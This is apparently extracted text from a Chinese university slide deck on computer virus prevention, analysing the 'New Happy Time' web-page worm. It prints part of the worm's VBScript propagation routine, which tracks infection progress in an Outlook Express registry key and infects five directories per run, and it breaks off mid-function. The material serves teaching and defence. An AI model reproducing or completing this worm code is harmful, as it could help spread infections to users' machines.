计算机病毒防治实用教程课件作者李治国3-2-2典型网页病毒剖析.pptVIP

新欢乐时光代码分析 计算机病毒与防治课程小组 功能：病毒传播 Function KJPropagate() On Error Resume Next RegPathvalue = HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree DiskDegree = WsShell.RegRead(RegPathvalue) 如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘 If DiskDegree = Then DiskDegree = FinalyDisk :\ End If 继DiskDegree置后感染5个目录 For i=1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next 将感染记录保存在HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree键值中 WsShell.RegWrite RegPathvalue,DiskDegree End Function 新欢乐时光代码分析 计算机病毒与防治课程小组 功能：感染指定目录 Function KJummageFolder(PathName)